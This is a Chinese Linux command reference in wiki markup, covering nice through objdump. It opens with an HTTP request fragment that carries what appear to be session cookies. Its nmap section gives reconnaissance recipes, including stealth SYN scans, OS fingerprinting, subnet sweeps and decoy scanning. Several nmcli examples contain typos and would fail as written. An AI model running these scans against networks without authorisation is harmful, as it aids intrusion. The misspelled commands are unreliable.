User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.5072
7; .NET CLR 3.0.04506.30).
Host: www.google.cn.
Connection: Keep-Alive.
Cookie: PREF=id=a0b2932c336477e9:TB=4:NW=1:TM=1187877372:LM=1187956074:S=Y1Fzndp
rT3vFo7ac; SID=DQAAAHcAAABJCEXeOVLHu2rIfb5BfKP3GG9PbhJDEkXsLTV8y0f_lvSd2Y46Q0FPt
83CnEs9rxA1xBDM9mLR8-ckWeScyOQA8PyYnX5u5OjFvjfRbDg_FDZfwxhRzqS9KPZv26pjnsUxs0FDM
1xpJ5AgDn38pXtlCdkksJ0-cbiIWoA61oHWMg; NID=7=AvJxn5B6YOLLxoYz4LLzhIbNsQUQiulRS6U
JGxdBniQBmXm99y7L-NBNORN82N3unmZSGHFPfePVHnLK2MjYjglyXZhU9x7ETXNBnY3NurNijHDhJ7K
yi7E53UBOcv4V.
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
nice
===

改变程序执行的优先权等级

</div>

!! 补充说明

:<div>


"nice命令" 用于以指定的进程调度优先级启动其他的程序。

</div>

!! 语法  

:<div>


```
nice(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-n:指定进程的优先级(整数)。
```

</div>

!! 参数  

:<div>


指令及选项:需要运行的指令及其他选项。

</div>

!! 实例  

:<div>


新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU:

```
nice -19 tar zcf pack.tar.gz documents
```

方法非常简单,即在原命令前加上`nice -19`。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级:

```
nice --19 tar zcf pack.tar.gz documents
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
nisdomainname
===

显示主机NIS的域名

</div>

!! 补充说明

:<div>


"nisdomainname命令" 用于显示主机NIS的域名。

</div>

!! 语法  

:<div>


```
nisdomainname(选项)
```

</div>

!! 选项  

:<div>


```
-v:详细信息模式。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
nl
===

在Linux系统中计算文件内容行号

</div>

!! 补充说明

:<div>


"nl命令" 读取 file 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。在输出中,nl命令根据您在命令行中指定的标志来计算左边的行。输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。除非使用`-p`选项,nl 命令在每个逻辑页开始的地方重新设置行号。可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。其默认的结果与`cat -n`有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐0等等的功能。

</div>

!! 语法  

:<div>


```
nl (选项) (参数)
```

</div>

!! 选项  

:<div>


```
-b :指定行号指定的方式,主要有两种:
    -b a :表示不论是否为空行,也同样列出行号(类似 cat -n);
    -b t :如果有空行,空的那一行不要列出行号(默认值);

-n :列出行号表示的方法,主要有三种:
    -n ln :行号在萤幕的最左方显示;
    -n rn :行号在自己栏位的最右方显示,且不加 0 ;
    -n rz :行号在自己栏位的最右方显示,且加 0 ;

-w :行号栏位的占用的位数。
-p :在逻辑定界符处不重新开始计算。
```

</div>

!! 实例  

:<div>


 "用 nl 列出 log2015.log 的内容" :

```
root@localhost [test]# nl log2015.log
1 2015-01
2 2015-02

3 ======[root@localhost test]#
```

说明:文件中的空白行,nl 不会加上行号

 "用 nl 列出 log2015.log 的内容,空本行也加上行号" :

```
[root@localhost test]# nl -b a log2015.log
1 2015-01
2 2015-02
3
4
5 ======[root@localhost test]#
```

 "让行号前面自动补上0,统一输出格式:" 

```
[root@localhost test]# nl -b a -n rz log2015.log
000001 2015-01
000002 2015-02
000003 2015-03
000004 2015-04
000005 2015-05
000006 2015-06
000007 2015-07
000008 2015-08
000009 2015-09
000010 2015-10
000011 2015-11
000012 2015-12
000013 =======

[root@localhost test]# nl -b a -n rz -w 3 log2015.log
001 2015-01
002 2015-02
003 2015-03
004 2015-04
005 2015-05
006 2015-06
007 2015-07
008 2015-08
009 2015-09
010 2015-10
011 2015-11
012 2015-12
013 =======
```

说明:`nl -b a -n rz`命令行号默认为六位,要调整位数可以加上参数`-w 3`调整为3位。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!!简介
:<div>
nm
===

显示二进制目标文件的符号表

</div>

!! 补充说明

:<div>


"nm命令" 被用于显示二进制目标文件的符号表。

</div>

!! 语法  

:<div>


```
nm(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-A:每个符号前显示文件名;
-D:显示动态符号;
-g:仅显示外部符号;
-r:反序显示符号表。
```

</div>

!! 参数  

:<div>


目标文件:二进制目标文件,通常是库文件和可执行文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''NMap'',Network Mapper


;1) 获取远程主机的系统类型及开放端口
:<pre>

```bash

nmap -sS -P0 -sV -O <target>

#这里的 < target > 可以是单一 IP, 或主机名,或域名,或子网
#
#-sS TCP SYN 扫描 (又称半开放,或隐身扫描)
#-P0 允许你关闭 ICMP pings.
#-sV 打开系统版本检测
#-O 尝试识别远程操作系统
#
#其它选项:
#
#-A 同时打开操作系统指纹和版本检测
#-v 详细输出扫描情况.


nmap -sS -P0 -A -v < target >

nmap -sS -P0 -A -v < target >
```
</pre>
;2) 列出开放了指定端口的主机列表
:<pre>

```bash

nmap -sT -p 80 -oG – 192.168.1.* | grep open

nmap -sT -p 80 -oG – 192.168.1.* | grep open
```
</pre>
;3) 在网络寻找所有在线主机
:<pre>

```bash

nmap -sP 192.168.0.*

nmap -sP 192.168.0.*
或者也可用以下命令:


nmap -sP 192.168.0.0/24

nmap -sP 192.168.0.0/24
指定 subnet
```
</pre>
;4) Ping 指定范围内的 IP 地址
:<pre>

```bash

nmap -sP 192.168.1.100-254

nmap -sP 192.168.1.100-254
```
</pre>
;5) 在某段子网上查找未占用的 IP
:<pre>

```bash

nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00″ /proc/net/arp

nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00″ /proc/net/arp
```
</pre>
;6) 在局域网上扫找 Conficker 蠕虫病毒
:<pre>

```bash

nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254
nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254
```
</pre>

;7) 扫描网络上的恶意接入点 (rogue APs).
:<pre>

```bash

nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout
2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m
–max-scan-delay 1000 -oA wapscan 10.0.0.0/8
nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout
2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m
–max-scan-delay 1000 -oA wapscan 10.0.0.0/8
```
</pre>

;8 ) 使用诱饵扫描方法来扫描主机端口
:<pre>

```bash

sudo nmap -sS 192.168.0.10 -D 192.168.0.2

sudo nmap -sS 192.168.0.10 -D 192.168.0.2
```
</pre>
;9) 为一个子网列出反向 DNS 记录
:<pre>

```bash

nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else print$3″ is “$2}’ | grep ‘(‘

nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else print$3″ is “$2}’ | grep ‘(‘
```
</pre>
;10) 显示网络上共有多少台 Linux 及 Win 设备?
:<pre>

```bash

sudo nmap -F -O 192.168.0.1-255 | grep “Running: ” > /tmp/os; echo “$(cat /tmp/os | grep Linux \
| wc -l) Linux device(s)”; echo “$(cat /tmp/os | grep <a href="http://www.ttlsa.com/windows/" title="windows"target="_blank">Windows</a> | wc -l) Window(s) device”
sudo nmap -F -O 192.168.0.1-255 | grep “Running: ” > /tmp/os; echo “$(cat /tmp/os | grep Linux \
| wc -l) Linux device(s)”; echo “$(cat /tmp/os | grep Windows | wc -l) Window(s) device”

```
</pre>
!!简介
:<div>
nmcli
===

地址配置工具

</div>

!! 补充说明

:<div>


"nmcli命令" 是 NetworkManager client 网络管理客户端。

</div>

!! 语法  

:<div>


```bash
nmcli [OPTIONS] OBJECT { COMMAND | help }
```

</div>

!! 选项  

:<div>


```bash
OPTIONS
  -t[erse]                                   terse output 简洁的输出
  -p[retty]                                  pretty output 漂亮的输出
  -m[ode] tabular|multiline                  output mode  输出模式
  -f[ields] <field1,field2,...>|all|common   specify fields to output 指定要输出的字段
  -e[scape] yes|no                           escape columns separators in values 在值中转义列分隔符
  -n[ocheck]                                 不要检查nmcli和NetworkManager版本
  -a[sk]                                     要求缺少参数
  -w[ait] <seconds>                          设置超时等待整理操作
  -v[ersion]                                 显示程序版本
  -h[elp]                                    打印此帮助

OBJECT
  g[eneral]       NetworkManager的一般状态和操作
  n[etworking]    整体组网控制
  r[adio]         NetworkManager切换开关
  c[onnection]    NetworkManager的连接
  d[evice]        由NetworkManager管理的设备
  a[gent]         NetworkManager秘密代理或polkit代理
```

</div>

!! 实例  

:<div>


```bash
nmcli con add help              # 查看帮助
nmcli con up default            # 启用default连接配置
nmcli con up static             # 启用static连接配置
nmcli connecion modify eth1 ipv4.gateway 171.26.27.1
nmcli connecion modify eth1 ipv4.method manual ipve.addresses 171.26.1.2/24
nmcli connecion modify wired\ connection\ 1 connection.id eth1
nmcli connection
nmcli connection add
nmcli connection add con-name eth1-idc
nmcli connection add con-name eth1-office
nmcli connection add type bridge con-name br0 ifname br0
nmcli connection add type bridge-slave con-name br0-slave0 ifname eth0
nmcli connection add type bridge-slave con-name br0-slave1 ifname eth1
nmcli connection add type team con-name team0 ifname team0 config '{"runner":{"name":"activebackup"}}'
nmcli connection delete {cfg_file}
nmcli connection modify eth0 ipv4.gateway 27.7
nmcli connection modify eth1 ipv4.addressses  172.16.0.7/16 ipv4.method manual
nmcli connection modify eth1-office connection.autoconnect yes
nmcli connection modify wired\ connection\ 1 connection.id eth1
nmcli connection reload
nmcli connection reload         # 重启服务
nmcli connection show
nmcli connection show           # 查看当前连接状态
nmcli connection show "lan eth0"# 显示指定一个网络连接配置
nmcli connection show -active   # 显示活动的连接
nmcli connection up
nmcli connection up br0-slave0
nmcli connection up br0-slave1
nmcli connection up ens33
nmcli connection up eth1-office
nmcli connection up team0-slave0
nmcli connection up team0-slave1
nmcli device
nmcli device connect eth1
nmcli device disconnect eth1
nmcli device show               # 显示全部接口属性
nmcli device show eno16777736   # 显示指定接口属性
nmcli device status
nmcli device status             # 显示设备状态

```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* 简介<pre>
''nohup''命令可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端。

无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到$HOME/nohup.out文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。
</pre>

*实例<pre>

使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件:


```bash
nohup command > myout.file 2>&1 &
```

在上面的例子中,输出被重定向到myout.file文件中。
</pre>
!!简介
:<div>
nologin
===

拒绝用户登录系统

</div>

!! 补充说明

:<div>


"nologin命令" 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。

</div>

!! 语法  

:<div>


```
nologin
```

</div>

!! 实例  

:<div>


Linux禁止用户登录:

禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。  

1、禁止个别用户登录,比如禁止lynn用户登录。

```
passwd -l lynn
```

这就话的意思是锁定lynn用户,这样该用户就不能登录了。  

```
passwd -u lynn
```

上面是对锁定的用户lynn进行解锁,用户可登录了。    

2、我们通过修改`/etc/passwd`文件中用户登录的shell

```
vi /etc/passwd
```

更改为:

```
lynn:x:500:500::/home/lynn:/sbin/nologin
```

该用户就无法登录了。  

3、禁止所有用户登录。

```
touch /etc/nologin
```

除root以外的用户不能登录了。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
nslookup
===

查询域名DNS信息的工具

</div>

!! 补充说明

:<div>


"nslookup命令" 是常用域名查询工具,就是查DNS信息用的命令。

nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。

进入交互模式,直接输入nslookup命令,不加任何参数,则直接进入交互模式,此时nslookup会连接到默认的域名服务器(即`/etc/resolv.conf`的第一个dns地址)。或者输入`nslookup -nameserver/ip`。进入非交互模式,就直接输入`nslookup 域名`就可以了。

</div>

!! 语法  

:<div>


```
nslookup(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-sil:不显示任何警告信息。
```

</div>

!! 参数  

:<div>


域名:指定要查询域名。

</div>

!! 实例  

:<div>


```
[root@localhost ~]# nslookup www.jsdig.com
Server:         202.96.104.15
Address:        202.96.104.15#53

Non-authoritative answer:
www.jsdig.com canonical name = host.1.jsdig.com.
Name:   host.1.jsdig.com
Address: 100.42.212.8
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ntpdate
===

使用网络计时协议(NTP)设置日期和时间

</div>

!! 补充说明

:<div>


"ntpdate命令" 是用来设置本地日期和时间。它从指定的每个服务器获得了一些样本,并应用标准 NTP 时钟过滤器和选择算法来选择最好的样本。

此 ntpdate 命令使用以下方法进行时间调整:

*   如果它确定时钟偏差超过 0.5 秒,它通过调用 settimeofday 子例程设置时钟时间。在引导时间,这是一个首选的方法。
*   如 果它确定时钟偏差小于 0.5 秒,它通过调用 adjtime 子例程和偏移量来调整时钟时间。此方法倾向于用牺牲一些稳定性来保持漂移时钟更加准确。 当不是通过运行一个守护程序而是从 cron 命令有规则的运行ntpdate 命令时,每一小时或两小时执行一次可以保证足够的走时精度,从而避免调整时钟。

使用很多服务器可以大幅度改善 ntpdate 命令的可靠性与精度。尽管能使用单一服务器,但您能通过提供至少三个或四个服务器以获得更好的性能。

如果一个类似 xntpd 守护程序的 NTP 服务器守护程序正在同一主机上运行,命令将拒绝ntpdate 设置日期。

你必须有 root 权限才能在主机上运行这个命令。

</div>

!! 语法  

:<div>


```
ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] [ -oVersion] [ -pSamples] [ -tTimeOut] Server...
```

</div>

!! 选项  

:<div>


<table>

<tbody>

<tr>

<td>-aKeyid</td>

<td>使用 Keyid 来认证全部数据包。</td>

</tr>

<tr>

<td>-b</td>

<td>通过调用 settimeofday 子例程来增加时钟的时间。</td>

</tr>

<tr>

<td>-d</td>

<td>指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。</td>

</tr>

<tr>

<td>-eAuthenticationDelay</td>

<td>指定延迟认证处理的时间秒数。</td>

</tr>

<tr>

<td>-kKeyFile</td>

<td>当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。</td>

</tr>

<tr>

<td>-oVersion</td>

<td>当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。</td>

</tr>

<tr>

<td>-pSamples</td>

<td>指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。</td>

</tr>

<tr>

<td>-s</td>

<td>指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。</td>

</tr>

<tr>

<td>-tTimeOut</td>

<td>指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。</td>

</tr>

<tr>

<td>-u</td>

<td>指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。</td>

</tr>

</tbody>

</table>


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''ntsysv'':类图形界面管理模式来设置开机启动。(RedHat特有的,基本上chkconfig就很好用了。)
!!简介
:<div>
objdump
===

显示二进制文件信息

</div>

!! 补充说明

:<div>


"objdump命令" 是用查看目标文件或者可执行的目标文件的构成的gcc工具。

</div>

!! 选项  

:<div>


```
--archive-headers 
-a 
显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 

-b bfdname 
--target=bfdname 
指定目标码格式。这不是必须的,objdump能自动识别许多格式,比如: 

objdump -b oasys -m vax -h fu.o 
显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys编译器生成的目标文件。objdump -i将给出这里可以指定的目标码格式列表。 

-C 
--demangle 
将底层的符号名解码成用户级名字,除了去掉所开头的下划线之外,还使得C++函数名以可理解的方式显示出来。 

--debugging 
-g 
显示调试信息。企图解析保存在文件中的调试信息并以C语言的语法显示出来。仅仅支持某些类型的调试信息。有些其他的格式被readelf -w支持。 

-e 
--debugging-tags 
类似-g选项,但是生成的信息是和ctags工具相兼容的格式。 

--disassemble 
-d 
从objfile中反汇编那些特定指令机器码的section。 

-D 
--disassemble-all 
与 -d 类似,但反汇编所有section. 

--prefix-addresses 
反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。 

-EB 
-EL 
--endian={big|little} 
指定目标文件的小端。这个项将影响反汇编出来的指令。在反汇编的文件没描述小端信息的时候用。例如S-records. 

-f 
--file-headers 
显示objfile中每个文件的整体头部摘要信息。 

-h 
--section-headers 
--headers 
显示目标文件各个section的头部摘要信息。 

-H 
--help 
简短的帮助信息。 

-i 
--info 
显示对于 -b 或者 -m 选项可用的架构和目标格式列表。 

-j name
--section=name 
仅仅显示指定名称为name的section的信息 

-l
--line-numbers 
用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求编译时使用了-g之类的调试编译选项。 

-m machine 
--architecture=machine 
指定反汇编目标文件时使用的架构,当待反汇编文件本身没描述架构信息的时候(比如S-records),这个选项很有用。可以用-i选项列出这里能够指定的架构. 

--reloc 
-r 
显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇编后的格式显示出来。 

--dynamic-reloc 
-R 
显示文件的动态重定位入口,仅仅对于动态目标文件意义,比如某些共享库。 

-s 
--full-contents 
显示指定section的完整内容。默认所有的非空section都会被显示。 

-S 
--source 
尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,效果比较明显。隐含了-d参数。 

--show-raw-insn 
反汇编的时候,显示每条汇编指令对应的机器码,如不指定--prefix-addresses,这将是缺省选项。 

--no-show-raw-insn 
反汇编时,不显示汇编指令的机器码,如不指定--prefix-addresses,这将是缺省选项。 

--start-address=address 
从指定地址开始显示数据,该选项影响-d、-r和-s选项的输出。 

--stop-address=address 
显示数据直到指定地址为止,该项影响-d、-r和-s选项的输出。 

-t 
--syms 
显示文件的符号表入口。类似于nm -s提供的信息 

-T 
--dynamic-syms 
显示文件的动态符号表入口,仅仅对动态目标文件意义,比如某些共享库。它显示的信息类似于 nm -D|--dynamic 显示的信息。 

-V 
--version 
版本信息 

--all-headers 
-x 
显示所可用的头信息,包括符号表、重定位入口。-x 等价于-a -f -h -r -t 同时指定。 

-z 
--disassemble-zeroes 
一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。 

@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。
```

</div>

!! 实例  

:<div>


首先,在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下: 

```
root@localhost [test]# nl mytest.cpp 
```

```
void printTest() {
    char a;
    a = 'a';
}

void printTest2() {
int a = 2;
a+=2;
} 
```

对以上源代码进行编译,如下: 

```
[root@localhost test]# g++ -c -g mytest.cpp 
```

这里,生成的文件是mytest.o,为了方便测试包含了调试的信息,对可执行文件的测试,显示的结果类似。 

 "查看当前使用的objdump的版本号: " 

```
[root@localhost test]# objdump -V 
GNU objdump 2.17.50.0.6-14.el5 20061020 
Copyright 2005 free Software Foundation, Inc. 
This program is free software; you may redistribute it under the terms of 
the GNU General Public License.  This program has absolutely no warranty. 
```

 "查看档案库文件中的信息: " 

```
[root@localhost test]# objdump -a libmy2.a 
In archive libmy2.a: 
myfile.o:     file format elf32-i386 
rwxrwxrwx 0/0   2724 Nov 16 16:06 2009 myfile.o 
mytest.o:     file format elf32-i386 
rw-r--r-- 0/0    727 Jul 13 15:32 2011 mytest.o 
```

 "这里,libmy2.a是一个使用ar命令将多个*.o目标文件打包而生成的静态库。命令的输出类似`ar -tv`,相比较`ar -tv`输出如下: " 

```
[root@localhost test]# ar -tv libmy2.a 
rwxrwxrwx 0/0   2724 Nov 16 16:06 2009 myfile.o 
rw-r--r-- 0/0    727 Jul 13 15:32 2011 mytest.o 
```

显示可用的架构和目标结构列表: 

```
[root@localhost test]# objdump -i 
BFD header file version 2.17.50.0.6-14.el5 20061020 
elf32-i386 
(header little endian, data little endian) 
  i386 
a.out-i386-linux 
(header little endian, data little endian) 
  i386 
efi-app-ia32 
(header little endian, data little endian) 
  i386 
elf64-x86-64 
(header little endian, data little endian) 
  i386 
elf64-little 
(header little endian, data little endian) 
  i386 
elf64-big 
(header big endian, data big endian) 
  i386 
elf32-little 
(header little endian, data little endian) 
  i386 
elf32-big 
(header big endian, data big endian) 
  i386 
srec 
(header endianness unknown, data endianness unknown) 
  i386 
symbolsrec 
(header endianness unknown, data endianness unknown) 
  i386 
tekhex 
(header endianness unknown, data endianness unknown) 
  i386 
binary 
(header endianness unknown, data endianness unknown) 
  i386 
ihex 
(header endianness unknown, data endianness unknown) 
  i386 
trad-core 
(header endianness unknown, data endianness unknown) 

              elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64 
          i386 elf32-i386 a.out-i386-linux efi-app-ia32 elf64-x86-64 

              elf64-little elf64-big elf32-little elf32-big srec symbolsrec 
          i386 elf64-little elf64-big elf32-little elf32-big srec symbolsrec 

              tekhex binary ihex trad-core 
          i386 tekhex binary ihex --------- 
```

这里,显示的信息是相对于 -b 或者 -m 选项可用的架构和目标格式列表。 

 "显示mytest.o文件中的text段的内容: " 

```
[root@localhost test]# objdump --section=.text -s mytest.o 
mytest.o:     file format elf32-i386 
Contents of section .text: 
0000 5589e583 ec10c645 ff61c9c3 5589e583  U......E.a..U... 
0010 ec10c745 fc020000 008345fc 02c9c3    ...E......E.... 
```

这里注意,不能单独使用-j或者--section,例如`objdump --section=.text mytest.o`是不会运行成功的。 

 "反汇编mytest.o中的text段内容,并尽可能用源代码形式表示: " 

```
[root@localhost test]# objdump -j .text -S mytest.o 
mytest.o:     file format elf32-i386 
Disassembly of section .text: 
00000000 <_Z9printTestv>: 
void printTest() 
   0:   55                      push   %ebp 
   1:   89 e5                   mov    %esp,%ebp 
   3:   83 ec 10                sub    $0x10,%esp 
{ 
        char a; 
        a = 'a'; 
   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
} 
   a:   c9                      leave  
   b:   c3                      ret    

000000c <_Z10printTest2v>: 
void printTest2() 
   c:   55                      push   %ebp 
   d:   89 e5                   mov    %esp,%ebp 
   f:   83 ec 10                sub    $0x10,%esp 
{ 
        int a = 2; 
  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
        a+=2; 
  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
} 
  1d:   c9                      leave  
  1e:   c3                      ret    
```

这里注意,不能单独使用-j或者--section,例如`objdump -j .text mytest.o是不会运行成功的`。另外-S命令对于包含调试信息的目标文件,显示的效果比较好,如果编译时没有指定g++的-g选项,那么目标文件就不包含调试信息,那么显示效果就差多了。 

 "反汇编出mytest.o的源代码: " 

```
[root@localhost test]# objdump -S mytest.o 
mytest.o:     file format elf32-i386 

Disassembly of section .text: 

00000000 <_Z9printTestv>: 
void printTest() 
   0:   55                      push   %ebp 
   1:   89 e5                   mov    %esp,%ebp 
   3:   83 ec 10                sub    $0x10,%esp 
{ 
        char a; 
        a = 'a'; 
   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
} 
   a:   c9                      leave  
   b:   c3                      ret    

0000000c <_Z10printTest2v>: 
void printTest2() 
   c:   55                      push   %ebp 
   d:   89 e5                   mov    %esp,%ebp 
   f:   83 ec 10                sub    $0x10,%esp 
{ 
       int a = 2; 
  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
        a+=2; 
  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
} 
  1d:   c9                      leave  
  1e:   c3                      ret    
```

这里,尤其当编译的时候指定了-g这种调试参数时,反汇编的效果比较明显。隐含了-d参数。 

 "显示文件的符号表入口: " 

```
[root@localhost test]# objdump -t mytest.o 
mytest.o:     file format elf32-i386 

SYMBOL TABLE: 
00000000 l    df *ABS*  00000000 mytest.cpp 
00000000 l    d  .text  00000000 .text 
00000000 l    d  .data  00000000 .data 
00000000 l    d  .bss   00000000 .bss 
00000000 l    d  .debug_abbrev  00000000 .debug_abbrev 
00000000 l    d  .debug_info    00000000 .debug_info 
00000000 l    d  .debug_line    00000000 .debug_line 
00000000 l    d  .debug_frame   00000000 .debug_frame 
00000000 l    d  .debug_loc     00000000 .debug_loc 
00000000 l    d  .debug_pubnames        00000000 .debug_pubnames 
00000000 l    d  .debug_aranges 00000000 .debug_aranges 
00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack 
00000000 l    d  .comment       00000000 .comment 
00000000 g     F .text  0000000c _Z9printTestv 
00000000         *UND*  00000000 __gxx_personality_v0 
0000000c g     F .text  00000013 _Z10printTest2v 
```

这里,输出的信息类似`nm -s`命令的输出,相比较之下,nm命令的输出如下: 

```
[root@localhost test]# nm -s mytest.o 
0000000c T _Z10printTest2v 
00000000 T _Z9printTestv 
         U __gxx_personality_v0 
```

 "显示文件的符号表入口,将底层符号解码并表示成用户级别: " 

```
[root@localhost test]# objdump -t -C mytest.o 
mytest.o:     file format elf32-i386 
SYMBOL TABLE: 
00000000 l    df *ABS*  00000000 mytest.cpp 
00000000 l    d  .text  00000000 .text 
00000000 l    d  .data  00000000 .data 
00000000 l    d  .bss   00000000 .bss 
00000000 l    d  .debug_abbrev  00000000 .debug_abbrev 
00000000 l    d  .debug_info    00000000 .debug_info 
00000000 l    d  .debug_line    00000000 .debug_line 
00000000 l    d  .debug_frame   00000000 .debug_frame 
00000000 l    d  .debug_loc     00000000 .debug_loc 
00000000 l    d  .debug_pubnames        00000000 .debug_pubnames 
00000000 l    d  .debug_aranges 00000000 .debug_aranges 
00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack 
00000000 l    d  .comment       00000000 .comment 
00000000 g     F .text  0000000c printTest() 
00000000         *UND*  00000000 __gxx_personality_v0 
0000000c g     F .text  00000013 printTest2() 
```

这里,和没-C相比,printTest2函数可读性增加了。 

 "反汇编目标文件的特定机器码段: " 

```
[root@localhost test]# objdump -d mytest.o 
mytest.o:     file format elf32-i386 
Disassembly of section .text: 

00000000 <_Z9printTestv>: 
   0:   55                      push   %ebp 
   1:   89 e5                   mov    %esp,%ebp 
   3:   83 ec 10                sub    $0x10,%esp 
   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
   a:   c9                      leave  
  b:   c3                      ret    

0000000c <_Z10printTest2v>: 
   c:   55                      push   %ebp 
   d:   89 e5                   mov    %esp,%ebp 
   f:   83 ec 10                sub    $0x10,%esp 
  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
  19:   83 45 fc 02             addl   $0x2,0xfffffffc(%ebp) 
  1d:   c9                      leave  
  1e:   c3                      ret    
```

这里,对text段的内容进行了反汇编。 

 "反汇编特定段,并将汇编代码对应的文件名称和行号对应上: " 

```
[root@localhost test]# objdump -d -l mytest.o
mytest.o:     file format elf32-i386 
Disassembly of section .text: 

00000000 <_Z9printTestv>: 
_Z9printTestv(): 
/root/test/04_libraryTest/mytest.cpp:1 
   0:   55                      push   %ebp 
   1:   89 e5                   mov    %esp,%ebp 
   3:   83 ec 10                sub    $0x10,%esp 
/root/test/04_libraryTest/mytest.cpp:4 
   6:   c6 45 ff 61             movb   $0x61,0xffffffff(%ebp) 
/root/test/04_libraryTest/mytest.cpp:5 
   a:   c9                      leave  
   b:   c3                      ret    

0000000c <_Z10printTest2v>: 
_Z10printTest2v(): 
/root/test/04_libraryTest/mytest.cpp:6 
   c:   55                      push   %ebp 
   d:   89 e5                   mov    %esp,%ebp 
   f:   83 ec 10                sub    $0x10,%esp 
/root/test/04_libraryTest/mytest.cpp:8 
  12:   c7 45 fc 02 00 00 00    movl   $0x2,0xfffffffc(%ebp) 
/root/test/04_libraryTest/mytest.cpp:9 
